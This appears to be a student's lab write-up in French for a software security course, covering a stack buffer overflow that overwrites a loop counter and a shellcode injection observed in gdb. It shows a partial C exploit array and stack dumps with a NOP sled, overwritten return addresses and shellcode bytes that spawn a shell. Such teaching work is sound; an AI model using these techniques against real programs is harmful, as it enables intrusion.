135 lines
4.9 KiB
Markdown
135 lines
4.9 KiB
Markdown
---
|
|
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
|
date: 2023-02-17
|
|
tags: ["Assembleur", "x86"]
|
|
categories: ["Sécurité logicielle", "TD"]
|
|
---
|
|
|
|
## Partie 1
|
|
|
|
Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour
|
|
la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment
|
|
notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
|
|
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
|
|
variables associées.
|
|
|
|
## Partie 2
|
|
|
|
### question 1 et 2
|
|
|
|
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
|
|
cependant en présence de code *C* avec du code assembleur directement écrit en
|
|
*hexadécimal*.
|
|
|
|
L'exploit est prévu pour fonctinner en assembleur x86_32 et x86_64 avec la
|
|
présence d'une macro afin de positionner les instructions adaptée dans la
|
|
variable `exploit`:
|
|
|
|
```c
|
|
|
|
unsigned char exploit[1024] = {
|
|
|
|
#ifdef __x86_64__
|
|
/* 64 bit version */
|
|
// [...]
|
|
0x0f, 0x05, // system call!
|
|
#else
|
|
/* 32 bit version */
|
|
// [...]
|
|
0xcd, 0x80, // system call!
|
|
#endif
|
|
};
|
|
```
|
|
|
|
|
|
### question 4
|
|
|
|
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
|
|
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
|
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
|
|
|
Avant la saisir par l'utilisateur dans `anodin` voici la pile:
|
|
|
|
```
|
|
0x7fffffffe540 0x00007fffffffe630
|
|
0x7fffffffe538 0x00007ffff7dff18a
|
|
0x7fffffffe530 0x0000000000000001
|
|
0x7fffffffe528 ... 0x00007ffff7ffdad0
|
|
0x7fffffffe520 arg3 0x0000000000000000
|
|
0x7fffffffe518 arg2 0x00000001f7fe6e10
|
|
0x7fffffffe510 arg1 0x00007fffffffe648
|
|
0x7fffffffe508 ret@ 0x00005555555551e8
|
|
0x7fffffffe500 bp 0x00007fffffffe530
|
|
0x7fffffffe4f8 0x0000000000000000
|
|
0x7fffffffe4f0 0x0000000000000000
|
|
0x7fffffffe4e8 0x0000000000000000
|
|
0x7fffffffe4e0 0x0000000000000000
|
|
0x7fffffffe4d8 0x0000000000000000
|
|
0x7fffffffe4d0 0x0000000000000040
|
|
0x7fffffffe4c8 0x000000000000000c
|
|
0x7fffffffe4c0 0x0000000000000000
|
|
0x7fffffffe4b8 0x0000000000000040
|
|
0x7fffffffe4b0 sp 0x0000000000000004
|
|
0x7fffffffe4a8 0x000055555555518c
|
|
0x7fffffffe4a0 0x0000000000000000
|
|
0x7fffffffe498 0x00007ffff7ffe2e0
|
|
0x7fffffffe490 0x00007fffffffe648
|
|
0x7fffffffe488 0x0000000000000800
|
|
0x7fffffffe480 0x0000000000000000
|
|
0x7fffffffe478 0x0000000000000000
|
|
0x7fffffffe470 0x0000000000000000
|
|
0x7fffffffe468 0x0000000000000000
|
|
0x7fffffffe460 0x0000000000000000
|
|
0x7fffffffe458 0x0000000000000000
|
|
0x7fffffffe450 0x0000000000000000
|
|
0x7fffffffe448 0x800000000000000e
|
|
0x7fffffffe440 0x0000000000000002
|
|
0x7fffffffe438 0x0000000301000000
|
|
0x7fffffffe430 0x0000000000000000
|
|
```
|
|
|
|
Après la saisir l'utilisateur, et donc **l'injection du code par `exploit`** la
|
|
pile a un tout autre aspect. On voit bien l'action de la "*mitraillette*" sur
|
|
le bas de la pile avec l'adresse de retour.
|
|
|
|
```
|
|
0x7fffffffe540 0x0000000000000000
|
|
0x7fffffffe538 0x0000000000000000
|
|
0x7fffffffe530 0x0000000000000000
|
|
0x7fffffffe528 0x00007fa4796f5e18
|
|
0x7fffffffe520 0x00007fa4796f5e18
|
|
0x7fffffffe518 0x00007fa4796f5e18
|
|
0x7fffffffe510 0x00007fa4796f5e18
|
|
0x7fffffffe508 ret@ 0x00007fa4796f5e18
|
|
0x7fffffffe500 bp 0x00007fa4796f5e18
|
|
0x7fffffffe4f8 0x00000000796f5e18
|
|
0x7fffffffe4f0 0x00007fa4796f5e18
|
|
0x7fffffffe4e8 0x0000000000000000
|
|
0x7fffffffe4e0 0x0000000000000000
|
|
0x7fffffffe4d8 0x050fe6894857e289
|
|
0x7fffffffe4d0 0x48006a0000003bc0
|
|
0x7fffffffe4c8 0xc7485f0068732f6e
|
|
0x7fffffffe4c0 0x69622f00000008e8
|
|
0x7fffffffe4b8 0x9090909090909090
|
|
0x7fffffffe4b0 sp 0x9090909090909090
|
|
0x7fffffffe4a8 0x00005555555551cc
|
|
0x7fffffffe4a0 0x0000000000000003
|
|
0x7fffffffe498 0x00007ffff7e153f0
|
|
0x7fffffffe490 0x00007ffff7ffd020
|
|
0x7fffffffe488 0x0000555555557dd8
|
|
0x7fffffffe480 0x00007fffffffe658
|
|
0x7fffffffe478 0x0000000000000000
|
|
0x7fffffffe470 0x00007fffffffe500
|
|
0x7fffffffe468 0x00007fffffffe648
|
|
0x7fffffffe460 0x00007ffff7ffd020
|
|
0x7fffffffe458 0x0000000055557dd8
|
|
0x7fffffffe450 0x0000000000000000
|
|
0x7fffffffe448 0x00007fffffffe4b0
|
|
0x7fffffffe440 0x00007ffff7faaa80
|
|
0x7fffffffe438 0x00007fffffffe4b0
|
|
0x7fffffffe430 0x00007ffff7dd5740
|
|
```
|
|
|
|
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
|
|
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
|
|
mettent alors en places.
|